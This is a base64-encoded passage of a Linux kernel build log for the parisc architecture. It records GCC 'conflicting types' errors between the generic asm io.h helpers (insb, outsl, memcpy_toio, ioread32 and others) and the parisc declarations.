dWRlL2xpbnV4L2lvLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGlu
dXgvaXJxLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1
ZGUvYXNtL2hhcmRpcnEuaDoxMywKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9s
aW51eC9oYXJkaXJxLmg6OSwKICAgICAgICAgICAgICAgICBmcm9tIGFyY2gvcGFyaXNjL2tl
cm5lbC9hc20tb2Zmc2V0cy5jOjM0OgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo0NjI6
MTQ6IGVycm9yOiBjb25mbGljdGluZyB0eXBlcyBmb3IgJ2luc2InCiAjZGVmaW5lIGluc2Ig
aW5zYgogICAgICAgICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NDYzOjIw
OiBub3RlOiBpbiBleHBhbnNpb24gb2YgbWFjcm8gJ2luc2InCiBzdGF0aWMgaW5saW5lIHZv
aWQgaW5zYih1bnNpZ25lZCBsb25nIGFkZHIsIHZvaWQgKmJ1ZmZlciwgdW5zaWduZWQgaW50
IGNvdW50KQogICAgICAgICAgICAgICAgICAgIF5+fn4KSW4gZmlsZSBpbmNsdWRlZCBmcm9t
IC4vaW5jbHVkZS9saW51eC9pby5oOjI1OjAsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2lu
Y2x1ZGUvbGludXgvaXJxLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2FyY2gvcGFy
aXNjL2luY2x1ZGUvYXNtL2hhcmRpcnEuaDoxMywKICAgICAgICAgICAgICAgICBmcm9tIC4v
aW5jbHVkZS9saW51eC9oYXJkaXJxLmg6OSwKICAgICAgICAgICAgICAgICBmcm9tIGFyY2gv
cGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0cy5jOjM0OgouL2FyY2gvcGFyaXNjL2luY2x1ZGUv
YXNtL2lvLmg6MjQ0OjEzOiBub3RlOiBwcmV2aW91cyBkZWNsYXJhdGlvbiBvZiAnaW5zYicg
d2FzIGhlcmUKIGV4dGVybiB2b2lkIGluc2IgKHVuc2lnbmVkIGxvbmcgcG9ydCwgdm9pZCAq
ZHN0LCB1bnNpZ25lZCBsb25nIGNvdW50KTsKICAgICAgICAgICAgIF5+fn4KSW4gZmlsZSBp
bmNsdWRlZCBmcm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaW8uaDoyNjI6MCwKICAg
ICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9pby5oOjI1LAogICAgICAgICAg
ICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lycS5oOjI1LAogICAgICAgICAgICAgICAg
IGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAg
ICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaGFyZGlycS5oOjksCiAgICAgICAgICAg
ICAgICAgZnJvbSBhcmNoL3BhcmlzYy9rZXJuZWwvYXNtLW9mZnNldHMuYzozNDoKLi9pbmNs
dWRlL2FzbS1nZW5lcmljL2lvLmg6NDcwOjE0OiBlcnJvcjogY29uZmxpY3RpbmcgdHlwZXMg
Zm9yICdpbnN3JwogI2RlZmluZSBpbnN3IGluc3cKICAgICAgICAgICAgICBeCi4vaW5jbHVk
ZS9hc20tZ2VuZXJpYy9pby5oOjQ3MToyMDogbm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3Jv
ICdpbnN3Jwogc3RhdGljIGlubGluZSB2b2lkIGluc3codW5zaWduZWQgbG9uZyBhZGRyLCB2
b2lkICpidWZmZXIsIHVuc2lnbmVkIGludCBjb3VudCkKICAgICAgICAgICAgICAgICAgICBe
fn5+CkluIGZpbGUgaW5jbHVkZWQgZnJvbSAuL2luY2x1ZGUvbGludXgvaW8uaDoyNTowLAog
ICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lycS5oOjI1LAogICAgICAg
ICAgICAgICAgIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9oYXJkaXJxLmg6MTMs
CiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaGFyZGlycS5oOjksCiAg
ICAgICAgICAgICAgICAgZnJvbSBhcmNoL3BhcmlzYy9rZXJuZWwvYXNtLW9mZnNldHMuYzoz
NDoKLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9pby5oOjI0NToxMzogbm90ZTogcHJldmlv
dXMgZGVjbGFyYXRpb24gb2YgJ2luc3cnIHdhcyBoZXJlCiBleHRlcm4gdm9pZCBpbnN3ICh1
bnNpZ25lZCBsb25nIHBvcnQsIHZvaWQgKmRzdCwgdW5zaWduZWQgbG9uZyBjb3VudCk7CiAg
ICAgICAgICAgICBefn5+CkluIGZpbGUgaW5jbHVkZWQgZnJvbSAuL2FyY2gvcGFyaXNjL2lu
Y2x1ZGUvYXNtL2lvLmg6MjYyOjAsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUv
bGludXgvaW8uaDoyNSwKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9p
cnEuaDoyNSwKICAgICAgICAgICAgICAgICBmcm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9h
c20vaGFyZGlycS5oOjEzLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4
L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAgICAgIGZyb20gYXJjaC9wYXJpc2Mva2VybmVs
L2FzbS1vZmZzZXRzLmM6MzQ6Ci4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjQ3ODoxNDog
ZXJyb3I6IGNvbmZsaWN0aW5nIHR5cGVzIGZvciAnaW5zbCcKICNkZWZpbmUgaW5zbCBpbnNs
CiAgICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo0Nzk6MjA6IG5v
dGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW5zbCcKIHN0YXRpYyBpbmxpbmUgdm9pZCBp
bnNsKHVuc2lnbmVkIGxvbmcgYWRkciwgdm9pZCAqYnVmZmVyLCB1bnNpZ25lZCBpbnQgY291
bnQpCiAgICAgICAgICAgICAgICAgICAgXn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9p
bmNsdWRlL2xpbnV4L2lvLmg6MjU6MCwKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVk
ZS9saW51eC9pcnEuaDoyNSwKICAgICAgICAgICAgICAgICBmcm9tIC4vYXJjaC9wYXJpc2Mv
aW5jbHVkZS9hc20vaGFyZGlycS5oOjEzLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNs
dWRlL2xpbnV4L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAgICAgIGZyb20gYXJjaC9wYXJp
c2Mva2VybmVsL2FzbS1vZmZzZXRzLmM6MzQ6Ci4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20v
aW8uaDoyNDY6MTM6IG5vdGU6IHByZXZpb3VzIGRlY2xhcmF0aW9uIG9mICdpbnNsJyB3YXMg
aGVyZQogZXh0ZXJuIHZvaWQgaW5zbCAodW5zaWduZWQgbG9uZyBwb3J0LCB2b2lkICpkc3Qs
IHVuc2lnbmVkIGxvbmcgY291bnQpOwogICAgICAgICAgICAgXn5+fgpJbiBmaWxlIGluY2x1
ZGVkIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9pby5oOjI2MjowLAogICAgICAg
ICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6MjUsCiAgICAgICAgICAgICAg
ICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaXJxLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJv
bSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2hhcmRpcnEuaDoxMywKICAgICAgICAgICAg
ICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9oYXJkaXJxLmg6OSwKICAgICAgICAgICAgICAg
ICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0cy5jOjM0OgouL2luY2x1ZGUv
YXNtLWdlbmVyaWMvaW8uaDo0ODY6MTU6IGVycm9yOiBjb25mbGljdGluZyB0eXBlcyBmb3Ig
J291dHNiJwogI2RlZmluZSBvdXRzYiBvdXRzYgogICAgICAgICAgICAgICBeCi4vaW5jbHVk
ZS9hc20tZ2VuZXJpYy9pby5oOjQ4NzoyMDogbm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3Jv
ICdvdXRzYicKIHN0YXRpYyBpbmxpbmUgdm9pZCBvdXRzYih1bnNpZ25lZCBsb25nIGFkZHIs
IGNvbnN0IHZvaWQgKmJ1ZmZlciwKICAgICAgICAgICAgICAgICAgICBefn5+fgpJbiBmaWxl
IGluY2x1ZGVkIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6MjU6MCwKICAgICAgICAgICAg
ICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9pcnEuaDoyNSwKICAgICAgICAgICAgICAgICBm
cm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaGFyZGlycS5oOjEzLAogICAgICAgICAg
ICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAg
ICAgIGZyb20gYXJjaC9wYXJpc2Mva2VybmVsL2FzbS1vZmZzZXRzLmM6MzQ6Ci4vYXJjaC9w
YXJpc2MvaW5jbHVkZS9hc20vaW8uaDoyNDc6MTM6IG5vdGU6IHByZXZpb3VzIGRlY2xhcmF0
aW9uIG9mICdvdXRzYicgd2FzIGhlcmUKIGV4dGVybiB2b2lkIG91dHNiICh1bnNpZ25lZCBs
b25nIHBvcnQsIGNvbnN0IHZvaWQgKnNyYywgdW5zaWduZWQgbG9uZyBjb3VudCk7CiAgICAg
ICAgICAgICBefn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNs
dWRlL2FzbS9pby5oOjI2MjowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xp
bnV4L2lvLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaXJx
Lmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNt
L2hhcmRpcnEuaDoxMywKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9o
YXJkaXJxLmg6OSwKICAgICAgICAgICAgICAgICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5lbC9h
c20tb2Zmc2V0cy5jOjM0OgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo0OTU6MTU6IGVy
cm9yOiBjb25mbGljdGluZyB0eXBlcyBmb3IgJ291dHN3JwogI2RlZmluZSBvdXRzdyBvdXRz
dwogICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjQ5NjoyMDog
bm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3JvICdvdXRzdycKIHN0YXRpYyBpbmxpbmUgdm9p
ZCBvdXRzdyh1bnNpZ25lZCBsb25nIGFkZHIsIGNvbnN0IHZvaWQgKmJ1ZmZlciwKICAgICAg
ICAgICAgICAgICAgICBefn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9pbmNsdWRlL2xp
bnV4L2lvLmg6MjU6MCwKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9p
cnEuaDoyNSwKICAgICAgICAgICAgICAgICBmcm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9h
c20vaGFyZGlycS5oOjEzLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4
L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAgICAgIGZyb20gYXJjaC9wYXJpc2Mva2VybmVs
L2FzbS1vZmZzZXRzLmM6MzQ6Ci4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaW8uaDoyNDg6
MTM6IG5vdGU6IHByZXZpb3VzIGRlY2xhcmF0aW9uIG9mICdvdXRzdycgd2FzIGhlcmUKIGV4
dGVybiB2b2lkIG91dHN3ICh1bnNpZ25lZCBsb25nIHBvcnQsIGNvbnN0IHZvaWQgKnNyYywg
dW5zaWduZWQgbG9uZyBjb3VudCk7CiAgICAgICAgICAgICBefn5+fgpJbiBmaWxlIGluY2x1
ZGVkIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9pby5oOjI2MjowLAogICAgICAg
ICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6MjUsCiAgICAgICAgICAgICAg
ICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaXJxLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJv
bSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2hhcmRpcnEuaDoxMywKICAgICAgICAgICAg
ICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9oYXJkaXJxLmg6OSwKICAgICAgICAgICAgICAg
ICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0cy5jOjM0OgouL2luY2x1ZGUv
YXNtLWdlbmVyaWMvaW8uaDo1MDQ6MTU6IGVycm9yOiBjb25mbGljdGluZyB0eXBlcyBmb3Ig
J291dHNsJwogI2RlZmluZSBvdXRzbCBvdXRzbAogICAgICAgICAgICAgICBeCi4vaW5jbHVk
ZS9hc20tZ2VuZXJpYy9pby5oOjUwNToyMDogbm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3Jv
ICdvdXRzbCcKIHN0YXRpYyBpbmxpbmUgdm9pZCBvdXRzbCh1bnNpZ25lZCBsb25nIGFkZHIs
IGNvbnN0IHZvaWQgKmJ1ZmZlciwKICAgICAgICAgICAgICAgICAgICBefn5+fgpJbiBmaWxl
IGluY2x1ZGVkIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6MjU6MCwKICAgICAgICAgICAg
ICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9pcnEuaDoyNSwKICAgICAgICAgICAgICAgICBm
cm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaGFyZGlycS5oOjEzLAogICAgICAgICAg
ICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAg
ICAgIGZyb20gYXJjaC9wYXJpc2Mva2VybmVsL2FzbS1vZmZzZXRzLmM6MzQ6Ci4vYXJjaC9w
YXJpc2MvaW5jbHVkZS9hc20vaW8uaDoyNDk6MTM6IG5vdGU6IHByZXZpb3VzIGRlY2xhcmF0
aW9uIG9mICdvdXRzbCcgd2FzIGhlcmUKIGV4dGVybiB2b2lkIG91dHNsICh1bnNpZ25lZCBs
b25nIHBvcnQsIGNvbnN0IHZvaWQgKnNyYywgdW5zaWduZWQgbG9uZyBjb3VudCk7CiAgICAg
ICAgICAgICBefn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNs
dWRlL2FzbS9pby5oOjI2MjowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xp
bnV4L2lvLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaXJx
Lmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNt
L2hhcmRpcnEuaDoxMywKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9o
YXJkaXJxLmg6OSwKICAgICAgICAgICAgICAgICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5lbC9h
c20tb2Zmc2V0cy5jOjM0OgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo5NTk6MTk6IGVy
cm9yOiBjb25mbGljdGluZyB0eXBlcyBmb3IgJ21lbXNldF9pbycKICNkZWZpbmUgbWVtc2V0
X2lvIG1lbXNldF9pbwogICAgICAgICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdlbmVy
aWMvaW8uaDo5Njg6MjA6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnbWVtc2V0X2lv
Jwogc3RhdGljIGlubGluZSB2b2lkIG1lbXNldF9pbyh2b2xhdGlsZSB2b2lkIF9faW9tZW0g
KmFkZHIsIGludCB2YWx1ZSwKICAgICAgICAgICAgICAgICAgICBefn5+fn5+fn4KSW4gZmls
ZSBpbmNsdWRlZCBmcm9tIC4vaW5jbHVkZS9saW51eC9pby5oOjI1OjAsCiAgICAgICAgICAg
ICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaXJxLmg6MjUsCiAgICAgICAgICAgICAgICAg
ZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2hhcmRpcnEuaDoxMywKICAgICAgICAg
ICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9oYXJkaXJxLmg6OSwKICAgICAgICAgICAg
ICAgICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0cy5jOjM0OgouL2FyY2gv
cGFyaXNjL2luY2x1ZGUvYXNtL2lvLmg6MTgyOjY6IG5vdGU6IHByZXZpb3VzIGRlY2xhcmF0
aW9uIG9mICdtZW1zZXRfaW8nIHdhcyBoZXJlCiB2b2lkIG1lbXNldF9pbyh2b2xhdGlsZSB2
b2lkIF9faW9tZW0gKmFkZHIsIHVuc2lnbmVkIGNoYXIgdmFsLCBpbnQgY291bnQpOwogICAg
ICBefn5+fn5+fn4KSW4gZmlsZSBpbmNsdWRlZCBmcm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVk
ZS9hc20vaW8uaDoyNjI6MCwKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51
eC9pby5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lycS5o
OjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9o
YXJkaXJxLmg6MTMsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaGFy
ZGlycS5oOjksCiAgICAgICAgICAgICAgICAgZnJvbSBhcmNoL3BhcmlzYy9rZXJuZWwvYXNt
LW9mZnNldHMuYzozNDoKLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6OTc2OjIzOiBlcnJv
cjogY29uZmxpY3RpbmcgdHlwZXMgZm9yICdtZW1jcHlfZnJvbWlvJwogI2RlZmluZSBtZW1j
cHlfZnJvbWlvIG1lbWNweV9mcm9taW8KICAgICAgICAgICAgICAgICAgICAgICBeCi4vaW5j
bHVkZS9hc20tZ2VuZXJpYy9pby5oOjk4NToyMDogbm90ZTogaW4gZXhwYW5zaW9uIG9mIG1h
Y3JvICdtZW1jcHlfZnJvbWlvJwogc3RhdGljIGlubGluZSB2b2lkIG1lbWNweV9mcm9taW8o
dm9pZCAqYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIF5+fn5+fn5+fn5+fn4KSW4gZmls
ZSBpbmNsdWRlZCBmcm9tIC4vaW5jbHVkZS9saW51eC9pby5oOjI1OjAsCiAgICAgICAgICAg
ICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaXJxLmg6MjUsCiAgICAgICAgICAgICAgICAg
ZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2hhcmRpcnEuaDoxMywKICAgICAgICAg
ICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9oYXJkaXJxLmg6OSwKICAgICAgICAgICAg
ICAgICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0cy5jOjM0OgouL2FyY2gv
cGFyaXNjL2luY2x1ZGUvYXNtL2lvLmg6MTgzOjY6IG5vdGU6IHByZXZpb3VzIGRlY2xhcmF0
aW9uIG9mICdtZW1jcHlfZnJvbWlvJyB3YXMgaGVyZQogdm9pZCBtZW1jcHlfZnJvbWlvKHZv
aWQgKmRzdCwgY29uc3Qgdm9sYXRpbGUgdm9pZCBfX2lvbWVtICpzcmMsIGludCBjb3VudCk7
CiAgICAgIF5+fn5+fn5+fn5+fn4KSW4gZmlsZSBpbmNsdWRlZCBmcm9tIC4vYXJjaC9wYXJp
c2MvaW5jbHVkZS9hc20vaW8uaDoyNjI6MCwKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5j
bHVkZS9saW51eC9pby5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xp
bnV4L2lycS5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNs
dWRlL2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUv
bGludXgvaGFyZGlycS5oOjksCiAgICAgICAgICAgICAgICAgZnJvbSBhcmNoL3BhcmlzYy9r
ZXJuZWwvYXNtLW9mZnNldHMuYzozNDoKLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6OTk0
OjIxOiBlcnJvcjogY29uZmxpY3RpbmcgdHlwZXMgZm9yICdtZW1jcHlfdG9pbycKICNkZWZp
bmUgbWVtY3B5X3RvaW8gbWVtY3B5X3RvaW8KICAgICAgICAgICAgICAgICAgICAgXgouL2lu
Y2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDoxMDAzOjIwOiBub3RlOiBpbiBleHBhbnNpb24gb2Yg
bWFjcm8gJ21lbWNweV90b2lvJwogc3RhdGljIGlubGluZSB2b2lkIG1lbWNweV90b2lvKHZv
bGF0aWxlIHZvaWQgX19pb21lbSAqYWRkciwgY29uc3Qgdm9pZCAqYnVmZmVyLAogICAgICAg
ICAgICAgICAgICAgIF5+fn5+fn5+fn5+CkluIGZpbGUgaW5jbHVkZWQgZnJvbSAuL2luY2x1
ZGUvbGludXgvaW8uaDoyNTowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xp
bnV4L2lycS5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNs
dWRlL2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUv
bGludXgvaGFyZGlycS5oOjksCiAgICAgICAgICAgICAgICAgZnJvbSBhcmNoL3BhcmlzYy9r
ZXJuZWwvYXNtLW9mZnNldHMuYzozNDoKLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9pby5o
OjE4NDo2OiBub3RlOiBwcmV2aW91cyBkZWNsYXJhdGlvbiBvZiAnbWVtY3B5X3RvaW8nIHdh
cyBoZXJlCiB2b2lkIG1lbWNweV90b2lvKHZvbGF0aWxlIHZvaWQgX19pb21lbSAqZHN0LCBj
b25zdCB2b2lkICpzcmMsIGludCBjb3VudCk7CiAgICAgIF5+fn5+fn5+fn5+CkluIGZpbGUg
aW5jbHVkZWQgZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2lvLmg6MjYyOjAsCiAg
ICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaW8uaDoyNSwKICAgICAgICAg
ICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9pcnEuaDoyNSwKICAgICAgICAgICAgICAg
ICBmcm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaGFyZGlycS5oOjEzLAogICAgICAg
ICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2hhcmRpcnEuaDo5LAogICAgICAgICAg
ICAgICAgIGZyb20gYXJjaC9wYXJpc2Mva2VybmVsL2FzbS1vZmZzZXRzLmM6MzQ6Ci4vaW5j
bHVkZS9hc20tZ2VuZXJpYy9pby5oOjU2NToxNzogZXJyb3I6IGNvbmZsaWN0aW5nIHR5cGVz
IGZvciAnaW9yZWFkOCcKICNkZWZpbmUgaW9yZWFkOCBpb3JlYWQ4CiAgICAgICAgICAgICAg
ICAgXgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW9tYXAuaDoyOToyMTogbm90ZTogaW4gZXhw
YW5zaW9uIG9mIG1hY3JvICdpb3JlYWQ4JwogZXh0ZXJuIHVuc2lnbmVkIGludCBpb3JlYWQ4
KHZvaWQgX19pb21lbSAqKTsKICAgICAgICAgICAgICAgICAgICAgXn5+fn5+fgouL2luY2x1
ZGUvYXNtLWdlbmVyaWMvaW8uaDo1NjU6MTc6IG5vdGU6IHByZXZpb3VzIGRlZmluaXRpb24g
b2YgJ2lvcmVhZDgnIHdhcyBoZXJlCiAjZGVmaW5lIGlvcmVhZDggaW9yZWFkOAogICAgICAg
ICAgICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NTY2OjE4OiBub3RlOiBp
biBleHBhbnNpb24gb2YgbWFjcm8gJ2lvcmVhZDgnCiBzdGF0aWMgaW5saW5lIHU4IGlvcmVh
ZDgoY29uc3Qgdm9sYXRpbGUgdm9pZCBfX2lvbWVtICphZGRyKQogICAgICAgICAgICAgICAg
ICBefn5+fn5+Ci4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjU3MzoxODogZXJyb3I6IGNv
bmZsaWN0aW5nIHR5cGVzIGZvciAnaW9yZWFkMTYnCiAjZGVmaW5lIGlvcmVhZDE2IGlvcmVh
ZDE2CiAgICAgICAgICAgICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvbWFwLmg6
MzA6MjE6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW9yZWFkMTYnCiBleHRlcm4g
dW5zaWduZWQgaW50IGlvcmVhZDE2KHZvaWQgX19pb21lbSAqKTsKICAgICAgICAgICAgICAg
ICAgICAgXn5+fn5+fn4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NTczOjE4OiBub3Rl
OiBwcmV2aW91cyBkZWZpbml0aW9uIG9mICdpb3JlYWQxNicgd2FzIGhlcmUKICNkZWZpbmUg
aW9yZWFkMTYgaW9yZWFkMTYKICAgICAgICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdl
bmVyaWMvaW8uaDo1NzQ6MTk6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW9yZWFk
MTYnCiBzdGF0aWMgaW5saW5lIHUxNiBpb3JlYWQxNihjb25zdCB2b2xhdGlsZSB2b2lkIF9f
aW9tZW0gKmFkZHIpCiAgICAgICAgICAgICAgICAgICBefn5+fn5+fgouL2luY2x1ZGUvYXNt
LWdlbmVyaWMvaW8uaDo2MzM6MjA6IGVycm9yOiBjb25mbGljdGluZyB0eXBlcyBmb3IgJ2lv
cmVhZDE2YmUnCiAjZGVmaW5lIGlvcmVhZDE2YmUgaW9yZWFkMTZiZQogICAgICAgICAgICAg
ICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvbWFwLmg6MzE6MjE6IG5vdGU6IGlu
IGV4cGFuc2lvbiBvZiBtYWNybyAnaW9yZWFkMTZiZScKIGV4dGVybiB1bnNpZ25lZCBpbnQg
aW9yZWFkMTZiZSh2b2lkIF9faW9tZW0gKik7CiAgICAgICAgICAgICAgICAgICAgIF5+fn5+
fn5+fn4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NjMzOjIwOiBub3RlOiBwcmV2aW91
cyBkZWZpbml0aW9uIG9mICdpb3JlYWQxNmJlJyB3YXMgaGVyZQogI2RlZmluZSBpb3JlYWQx
NmJlIGlvcmVhZDE2YmUKICAgICAgICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20tZ2Vu
ZXJpYy9pby5oOjYzNDoxOTogbm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3JvICdpb3JlYWQx
NmJlJwogc3RhdGljIGlubGluZSB1MTYgaW9yZWFkMTZiZShjb25zdCB2b2xhdGlsZSB2b2lk
IF9faW9tZW0gKmFkZHIpCiAgICAgICAgICAgICAgICAgICBefn5+fn5+fn5+Ci4vaW5jbHVk
ZS9hc20tZ2VuZXJpYy9pby5oOjU4MToxODogZXJyb3I6IGNvbmZsaWN0aW5nIHR5cGVzIGZv
ciAnaW9yZWFkMzInCiAjZGVmaW5lIGlvcmVhZDMyIGlvcmVhZDMyCiAgICAgICAgICAgICAg
ICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvbWFwLmg6MzI6MjE6IG5vdGU6IGluIGV4
cGFuc2lvbiBvZiBtYWNybyAnaW9yZWFkMzInCiBleHRlcm4gdW5zaWduZWQgaW50IGlvcmVh
ZDMyKHZvaWQgX19pb21lbSAqKTsKICAgICAgICAgICAgICAgICAgICAgXn5+fn5+fn4KLi9p
bmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NTgxOjE4OiBub3RlOiBwcmV2aW91cyBkZWZpbml0
